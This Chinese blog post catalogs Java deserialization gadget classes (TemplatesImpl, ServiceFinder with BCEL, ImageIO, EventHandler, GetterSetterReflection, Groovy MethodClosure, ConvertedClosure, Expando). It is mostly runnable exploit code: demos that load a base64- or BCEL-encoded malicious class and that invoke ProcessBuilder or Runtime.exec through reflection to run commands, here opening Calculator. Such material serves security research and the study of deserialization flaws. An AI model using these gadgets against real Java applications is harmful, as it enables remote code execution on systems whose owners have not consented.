美文网首页
Java反序列化1—反序列化常见利用类

Java反序列化1—反序列化常见利用类

作者: AxisX | 来源:发表于2022-04-14 10:50 被阅读0次

    利用类的作用:加载类或者执行命令。因为本文的重点放在了利用类本身,从反序列化入口到利用类的链条就不介绍了。

    // 类加载
    (1)com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(BeanComparator、EqualsBean/ToStringBean可以间接调用TemplatesImpl)
    (2)java.util.ServiceLoader$LazyIterator / com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator (配合BCEL)
    // 反射调用
    (3)javax.imageio.ImageIO$ContainsFilter
    (4)java.beans.EventHandler
    (5)com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection
    // 非JDK自带
    (6)org.codehaus.groovy.runtime.MethodClosure
    (7)org.codehaus.groovy.runtime.ConvertedClosure
    (8)groovy.util.Expando
    

    (1)TemplatesImpl

    TemplatesImpl用于CommonsBeanutils、Fastjson,其调用链如下,核心在于得到恶意类的Class对象。然后执行newInstance()操作触发static代码块中的恶意代码

    TemplatesImpl.getOutputProperties()
      TemplatesImpl.newTransformer()
        TemplatesImpl.getTransletInstance()
            TemplatesImpl.defineTransletClasses()
                ClassLoader.defineClass()
                    Class.newInstance()
    

    具体调用过程如下,

    public synchronized Properties getOutputProperties() {
        return newTransformer().getOutputProperties();
    }
    
    public synchronized Transformer newTransformer() throws TransformerConfigurationException
        {
            TransformerImpl transformer;
            transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
        }
    
    private Translet getTransletInstance() throws TransformerConfigurationException {
        if (_name == null) return null; // 为了执行到下面的代码,_name不能为null(_name代表主类的名称)
        if (_class == null) defineTransletClasses(); // _class:包含translet类定义的实际类
    
        // newInstance时会被转换为AbstractTranslet,所以恶意类需要继承自AbstractTranslet
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        ...
        return translet;
    }
    
    private void defineTransletClasses() throws TransformerConfigurationException {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];
    
        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]); // _bytecodes设置为恶意类的字节码
            final Class superClass = _class[i].getSuperclass();
    
            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
       }
    }
    
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
    

    Demo如下,其核心在于getTransInstance()会调用defineTransletClasses()加载字节码为Class,然后.newInstance()进行实例化

    public class TemplateTest {
        public static void main(String[] args) throws IllegalAccessException, InstantiationException, NoSuchFieldException, IOException {
            String cmdb64="yv66vgAAADQAQAoACwAmCQAnACgIACkKACoAKwoALAAtCAAuCgAsAC8HADAIADEHADIHADMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE0xUZW1wbGF0ZXNJbXBsVGVzdDsBAA1TdGFja01hcFRhYmxlBwAyBwAwAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADQBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAFlRlbXBsYXRlc0ltcGxUZXN0LmphdmEMAAwADQcANQwANgA3AQAcVGVtcGxhdGVzSW1wbCBDb25zdHVjdG9yIHJ1bgcAOAwAOQA6BwA7DAA8AD0BABJvcGVuIC1hIENhbGN1bGF0b3IMAD4APwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFUZW1wbGF0ZXNJbXBsIHJ1bgEAEVRlbXBsYXRlc0ltcGxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAQAAQAMAA0AAQAOAAAAcgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABYABQAAAA8ABAARAAwAEgAVABMAGQAUABAAAAAMAAEAAAAaABEAEgAAABMAAAAQAAL/ABgAAQcAFAABBwAVAAABABYAFwACAA4AAAA/AAAAAwAAAAGxAAAAAgAPAAAABgABAAAAGQAQAAAAIAADAAAAAQARABIAAAAAAAEAGAAZAAEAAAABABoAGwACABwAAAAEAAEAHQABABYAHgACAA4AAABJAAAABAAAAAGxAAAAAgAPAAAABgABAAAAHgAQAAAAKgAEAAAAAQARABIAAAAAAAEAGAAZAAEAAAABAB8AIAACAAAAAQAhACIAAwAcAAAABAABAB0ACAAjAA0AAQAOAAAAVwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAEgAEAAAACgAIAAsAEQAMABUADQAQAAAAAgAAABMAAAAHAAJUBwAVAAABACQAAAACACU=";
            BASE64Decoder decoder=new sun.misc.BASE64Decoder();
            byte[] classBytes=decoder.decodeBuffer(cmdb64);
            TemplatesImpl templates=TemplatesImpl.class.newInstance();
            Field f1=templates.getClass().getDeclaredField("_bytecodes");
            f1.setAccessible(true);
            f1.set(templates,new byte[][]{classBytes});
            Field f2=templates.getClass().getDeclaredField("_name");
            f2.setAccessible(true);
            f2.set(templates,"TemplatesImplTest");
            Field f3=templates.getClass().getDeclaredField("_tfactory");
            f3.setAccessible(true);
            f3.set(templates,TransformerFactoryImpl.class.newInstance());
            templates.getOutputProperties(); // 触发
        }
    }
    

    需要注意引入的包是这两个(这种更通用,没有类路径限制)

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    

    与之类似的还有这种(类路径上有需要有Xalan实现)

    import org.apache.xalan.xsltc.trax.TemplatesImpl;
    import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
    

    BeanComparator触发

    BeanComparator中的compare方法,参数传入两个对象,然后比较这两个对象的属性,也就是说getProperty(o1,property)这步会调用o1的property属性。也就是调用o1这个类中对应的getxxProperty()方法。而TemplatesImpl链的入口正是TemplatesImpl.getOutputProperties()所以只需要o1传入TemplatesImplproperty传入_outputProperties

    BeanComparator

    ToStringBean触发

    ToStringBeantoString方法获取beanClass所有的带有getter方法的属性,然后invoke(this.obj)反射调用getter方法,但是这个invoke的限制是不能传入参数,所以在利用时需要选取无参方法

    ToStringBean.toString
    getPropertyDescriptorsWithGetters方法如下:
    BeanIntrospector.getPropertyDescriptorsWithGetters()

    (2)ServiceLoader

    先说一下SPI(Service Provider Interface),JDK内置的服务提供发现机制。Service通常指接口/抽象类,Provider则是接口的具体实现。假设Service接口为HelloService,它的实现类Provider可能包括EnglishHelloServiceImplChineseHelloServiceImpl等,
    那么可以在/META-INF/services/目录下创建一个Service的全限定类名命名的文件例如com.axisx.Service,文件的具体内容如下

    com.axisx.impl.EnglishHelloServiceImpl
    com.axisx.impl.ChineseHelloServiceImpl
    

    这样就可以直接调用服务对应的各类Provider

    ServiceLoader<HelloService> serviceLoader = ServiceLoader.load(HelloService.class);
    Iterator<HelloService> it = serviceLoader.iterator();
    while (it!=null && it.hasNext()) {
         DemoService demoService = it.next();
     }
    

    上一篇提到过BCEL还可以用Class.forName来写

            ClassLoader classLoader= new ClassLoader();
            String bcelCode="$$BCEL$$...";
    //        new ClassLoader().loadClass(bcelCode).newInstance();
            Class.forName(bcelCode,true,classLoader);
    

    ServiceLoader的内部类LazyIterator中存在Class.forName方法,loader是该内部类构造方法传入的

    ServiceLoader中的Class.forName
    nextService方法的触发是LazyIterator.next(),那么就需要找到类似this.serviceIterator.hasNext()的代码来触发。与ServiceLoader类似的还有ServiceFinder,同样可以调用Class.forName
    ServiceFinder.next()
    以ServiceFinder为例,cn字符串传入由内部类ServiceNameclassName字段控制。生成的ServiceName需要放入LazyIterator1names数组中。loader由自身构造函数LazyIterator传入。
       private static class LazyIterator<T> implements Iterator<T> {
            Class<T> service;
            @Nullable
            ClassLoader loader;
            ServiceFinder.ServiceName[] names;
            int index;
            ...
        }
    
        private static class ServiceName {
            final String className;
            final URL config;
    
            public ServiceName(String className, URL config) {
                this.className = className;
                this.config = config;
            }
        }
    

    由于是内部类用反射来写。

    public class ServiceLoadTest {
        public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
            Class ServiceName=Class.forName("com.sun.xml.internal.ws.util.ServiceFinder$ServiceName");
            Constructor constructor1=ServiceName.getConstructor(String.class, URL.class);
            constructor1.setAccessible(true);
            String bcelCode="$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbn$T1$U$3dN$sq2L$a1$992$e5MSZhRhg$c3$$$V$9b$aal$Y$a0$oU$bbv$8c$V$5c$s$e3h$e2$a9$ca$X$b1$$$8b$82X$f0$B$7c$U$e2$da$94$3e$E$96$7c$af$ee9$f7$9c$eb$c7$cf_$df$7f$Ax$8e4D$88$5bm$dc$c6$9d$W$ee$86$b8$87$fb$n$k$e0a$LK$$w9$969$kq$ac04$b7t$a1$ed$L$86z$af$bf$cf$Ql$9b$f7$8a$e1F$a6$L$f5$a6$9a$8cT$b9$tF9$nqf$a4$c8$f7E$a9$5d$7d$G$G$f6$83$9e$91G$b6s$a4$f3$BCkK$e6gvsC$x$e4$c7$d7b$ea$5bi$mC84U$v$d5K$ed$a4m$t$d9$3c$UG$o$c25D$i$ab$R$k$e3$Jy8$a2$5bV$F$c7Z$84$k$fa$i$eb$R$9e$e2$Z$9d$c1LU$d1$dd$Q$ddm$91$cb$w$X$d6$94$R6$b0$c9$b0$e0$8c$d2$5c$U$e3t$e7X$aa$a9$d5$a6$a0$e39$x$86$f9$L$f2$ed$e8PI$7b$F$g$7e$9aY5$a1$fb$9b$8a$88$q$f3$8c6$e9n$a9$L$3b$b4$a5$S$93$c1$df$BWa$G$3euUN$a3$92$5ev$c9$d2$S$3c$k$b8$f7$ec$5c$a0$ef$aa$c2$ea$J$5d$3d$i$x$7b$5e$q$bd$7e$f6O$P$N$M$d4$b1$92$Mk$ff$f3$bd$E$ed$96F$aa$d9l$80e$b4$e9$cf$dd$aa$81$b9$X$a58GUJ$99Qn$ac$7f$F$3b$f1$f4u$8aM$P$d2GS$8c$fe4$60$k$j$ca$z$c4$e7$e2$Do$G$y$7eA$z$ae$9f$o$f8$86F$dc$3c$F$3f$f8$8c$e0$d5$89$e7$3a$b8I$9a$baw$8d$RP$M$a8n$Q$deD$C$ee$t$d4h$_$d0$e6$a8$edq$ea$ta$e2$e1$c5$dfb$c3$e7P$b3$C$A$A";
            Object ServiceNameObj=constructor1.newInstance(bcelCode,null);
            Object ServiceNameArray= Array.newInstance(ServiceName,1);
            Array.set(ServiceNameArray,0,ServiceNameObj);
    
            Class LazyIterator=Class.forName("com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator");
            Constructor constructor2=LazyIterator.getDeclaredConstructors()[1];
            constructor2.setAccessible(true);
            Object LazyIteratorObj=constructor2.newInstance(String.class,new ClassLoader());
            Field f1=LazyIterator.getDeclaredField("names");
            f1.setAccessible(true);
            f1.set(LazyIteratorObj,ServiceNameArray);
            Method m1=LazyIterator.getDeclaredMethod("next"); //触发
            m1.setAccessible(true);
            m1.invoke(LazyIteratorObj,null);
        }
    }
    

    (3)ImageIO

    javax.imageio.ImageIO$ContainsFilter,一眼看过去就存在明显的反射,某个类的方法。但是invoke后面只能传入Object对象,也就是这个方法需要无参

    ImageIO$ContainsFilter.invoke()
    例如调用ProcessBuilder执行命令
    public class ImageIOTest {
        public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
            String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
            Class ProcessBuilder=Class.forName("java.lang.ProcessBuilder");
            Constructor constructor1=ProcessBuilder.getConstructor(String[].class);
            constructor1.setAccessible(true);
            Object Pro=constructor1.newInstance((Object)cmd);
            Method m1=ProcessBuilder.getDeclaredMethod("start");
    //        m1.invoke(Pro);
            Class ContainsFilter=Class.forName("javax.imageio.ImageIO$ContainsFilter");
            Constructor constructor2=ContainsFilter.getConstructor(Method.class,String.class);
            constructor2.setAccessible(true);
            Object Obj=constructor2.newInstance(m1,"lalala");
            Method m2=ContainsFilter.getDeclaredMethod("filter",Object.class);
            m2.setAccessible(true);
            m2.invoke(Obj,Pro);
        }
    }
    

    (4)EventHandler

    看一下java.beans.EventHandler源码,invokeInternal同样用到了反射,并且EventHandler的构造函数,可以控制targetaction,最终反射用到的targetMethod是根据targetaction生成的所以也是可控。

    public EventHandler(Object target, String action, String eventPropertyName, String listenerMethodName) 
    

    但是想要执行到反射代码,method名称不能为hashCode、equals、toString,否则运行不到最后。另外Method的参数要么是空,要么是单个参数

    EventHandler.invokeInternal

    调用invokeInternal写个demo

    public class EventHandlerTest {
        public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
            String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
            Class ProcessBuilder=Class.forName("java.lang.ProcessBuilder");
            Constructor constructor1=ProcessBuilder.getConstructor(String[].class);
            constructor1.setAccessible(true);
            Object Pro=constructor1.newInstance((Object)cmd);
            Method m1=ProcessBuilder.getDeclaredMethod("start");
    
            Class EventHandler=Class.forName("java.beans.EventHandler");
            Constructor constructor2=EventHandler.getConstructor(Object.class,String.class,String.class,String.class);
            constructor2.setAccessible(true);
            Object Handler=constructor2.newInstance(Pro,"start",null,null);
            Method m2=EventHandler.getDeclaredMethod("invokeInternal",Object.class,Method.class,Object[].class);
            Object[] objects=new Object[]{Pro};
            m2.setAccessible(true);
            m2.invoke(Handler,null,m1,objects);
        }
    }
    

    (5)GetterSetterReflection

    com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection也是一个invoke的反射调用,但是invoke中只能传入类对象,无法传入参数。所以不能采用Runtime.exec(cmd)这种需要传参的命令执行方法,而是采用ProcessBuilder.start()等无参方法

    GetterSetterReflection
    public class GetterSetterReflectionTest {
        public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, AccessorException {
            String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
    
            Class ProcessCls=Class.forName("java.lang.ProcessBuilder");
            Constructor constructor1=ProcessCls.getConstructor(String[].class);
            constructor1.setAccessible(true);
            Object ProcessBuilderObj=constructor1.newInstance((Object) cmd);
            Method m1=ProcessCls.getDeclaredMethod("start");
            m1.setAccessible(true);
    //        m1.invoke(ProcessBuilderObj);
    
            Class cls=Class.forName("com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection");
            Constructor constructor=cls.getConstructor(Method.class,Method.class);
            constructor.setAccessible(true);
            Accessor.GetterSetterReflection GetterObj= (Accessor.GetterSetterReflection) constructor.newInstance(m1,null);
            GetterObj.get(ProcessBuilderObj);
        }
    }
    

    (6)MethodClosure(Groovy)

    这个类位于Groovy的jar包中,属于非JDK自带的类,org.codehaus.groovy.runtime.MethodClosure

    MethodClosure
    doCall方法明显是反射执行方法,写脚本测试一下
    public class MethodClosureTest {
        public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
            Object methodArgs="open -a Calculator";
            MethodClosure methodClosure=new MethodClosure(Runtime.getRuntime(),"exec");
    //        methodClosure.call(methodArgs);
            Method m1=methodClosure.getClass().getDeclaredMethod("doCall", Object.class);
            m1.setAccessible(true);
            m1.invoke(methodClosure,methodArgs);
        }
    }
    

    或者用ProcessBuilder

    public class MethodClosureTest {
        public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
            Object obj=null;
            String[] methodArgs= new String[]{"open","-a","/System/Applications/Calculator.app"};
            MethodClosure methodClosure=new MethodClosure(new ProcessBuilder(methodArgs),"start");
            Method m1=methodClosure.getClass().getDeclaredMethod("doCall", Object.class);
            m1.setAccessible(true);
            m1.invoke(methodClosure,obj);
        }
    }
    

    (7)ConvertedClosure(Groovy)

    一个动态代理的Demo,handler需要实现InvocationHandler,重写了invoke方法,那么在执行Proxy.newProxyInstance时自动调用invoke方法

    public class Main {
        public static void main(String[] args) {
            InvocationHandler handler = new InvocationHandler() {
                @Override
                public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                    System.out.println(method);
                    if (method.getName().equals("morning")) {
                        System.out.println("Good morning, " + args[0]);
                    }
                    return null;
                }
            };
            Hello hello = (Hello) Proxy.newProxyInstance(
                Hello.class.getClassLoader(), // 传入ClassLoader
                new Class[] { Hello.class }, // 传入要实现的接口
                handler); // 传入处理调用方法的InvocationHandler
            hello.morning("Bob");
        }
    }
    
    interface Hello {
        void morning(String name);
    }
    

    ConvertedClosure的源码如下,继承自ConversionHandler

    ConvertedClosure
    ConversionHandler实现了InvocationHandler,并重写了invoke方法。所以如果执行Proxy.newProxyInstance就会调用这个invoke。invoke方法根据传入的method参数不同进入不同的逻辑。
    if:传入的method所属类为接口,
    else if:传入的method不是Object对象中的方法(如hashcode、toString等),这步的checkMethod具体的判断代码是return Object.class.equals(method.getDeclaringClass());
    所以传入Runtime.getRuntime.exec这种命令执行方法,会走到else if中,调用ConvertedClosure.invokeCustom(),进而执行call方法,反射执行方法。
    ConversionHandler
    所以下面demo中的后两步就在触发动态代理的invoke,进而触发invokeCustom
    public class ConvertedClosureTest {
        public static void main(String[] args) {
            String[] methodArgs= new String[]{"open","-a","/System/Applications/Calculator.app"};
            MethodClosure methodClosure=new MethodClosure(new ProcessBuilder(methodArgs),"start");
            ConvertedClosure convertedClosure=new ConvertedClosure(methodClosure,"entrySet");
            Map map= (Map) Proxy.newProxyInstance(ConvertedClosureTest.class.getClassLoader(), new Class[]{Map.class},convertedClosure);
            map.entrySet();
        }
    }
    

    (8)Expando(Groovy)

    Expando

    同样是调用call方法,只是需要properties中存在一个键为hashCode,值为Closure的子类

    Expando#hashCode
    利用上述的MethodClosure.call(),也就是将值传为MethodClosure
    public class ExpandoTest {
        public static void main(String[] args) {
            Map map = new HashMap<Expando, Integer>();
            Expando expando = new Expando();
            String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
            MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder(cmd), "start");
    //        methodClosure.call();
            expando.setProperty("hashCode", methodClosure);
            map.put(expando, 123);
            expando.hashCode();
        }
    }
    

    相关文章

      网友评论

          本文标题:Java反序列化1—反序列化常见利用类

          本文链接:https://www.haomeiwen.com/subject/dtfssrtx.html